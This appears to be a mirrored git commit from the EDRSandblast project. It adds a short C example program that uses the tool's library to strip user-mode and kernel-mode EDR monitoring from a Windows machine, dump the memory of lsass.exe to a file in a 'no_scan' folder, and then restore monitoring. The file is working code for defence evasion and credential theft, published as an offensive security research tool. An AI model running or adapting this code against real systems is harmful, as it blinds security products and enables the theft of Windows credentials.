mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-11 01:41:20 +00:00
D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more
Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
@@ -0,0 +1,31 @@
|
||||
#include "../EDRSandblast_StaticLibrary/EDRSandblast_API.h"
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma comment(lib, "Dbghelp.lib")
|
||||
#pragma comment(lib, "Version.lib")
|
||||
#pragma comment(lib, "Winhttp.lib")
|
||||
#pragma comment(lib, "EDRSandblast_Core.lib")
|
||||
#pragma comment(lib, "EDRSandblast_StaticLibrary.lib")
|
||||
#pragma comment(lib, "Pathcch.lib")
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
EDRSB_CONTEXT ctx = { 0 };
|
||||
EDRSB_CONFIG cfg = { 0 };
|
||||
cfg.bypassMode.Usermode = TRUE;
|
||||
cfg.bypassMode.Krnlmode = TRUE;
|
||||
cfg.offsetRetrievalMethod.Internet = TRUE;
|
||||
cfg.offsetRetrievalMethod.File = TRUE;
|
||||
|
||||
EDRSB_STATUS status;
|
||||
if (status = EDRSB_Init(&ctx, &cfg) != EDRSB_SUCCESS) {
|
||||
printf("EDRSB_Init: %u", status);
|
||||
}
|
||||
Usermode_RemoveAllMonitoring(&ctx, Find_and_use_existing_trampoline);
|
||||
Krnlmode_RemoveAllMonitoring(&ctx);
|
||||
Action_DumpProcessByName(&ctx, L"lsass.exe", L"C:\\no_scan\\tmp\\tmp.tmp", Find_and_use_existing_trampoline);
|
||||
Krnlmode_RestoreAllMonitoring(&ctx);
|
||||
EDRSB_CleanUp(&ctx);
|
||||
}
|
||||
Reference in New Issue
Block a user